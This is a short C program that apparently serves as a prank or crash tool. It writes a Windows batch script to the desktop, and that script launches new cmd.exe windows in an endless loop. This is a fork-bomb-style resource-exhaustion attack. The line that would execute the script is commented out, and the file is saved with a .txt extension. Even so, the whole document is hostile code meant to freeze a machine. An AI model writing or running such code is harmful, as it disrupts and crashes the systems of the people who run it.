#include<stdio.h>
#include<conio.h>
int main()
{
    FILE *fp;
    system("title Crash");
    system("color 02");
    fp = fopen("C:\\Users\\user\\Desktop\\crash.txt","w+");
    if (fp==NULL)
    {
         puts("cannot open file");
         getch();
         exit(0);
    }
    fputs("@echo off\n:Crash\nstart C:\\windows\\system32\\CMD.exe\ngoto Crash",fp);
    fclose(fp);
    //system("C:\\Users\\user\\Desktop\\crash.txt");
    getch();
    return 0;
}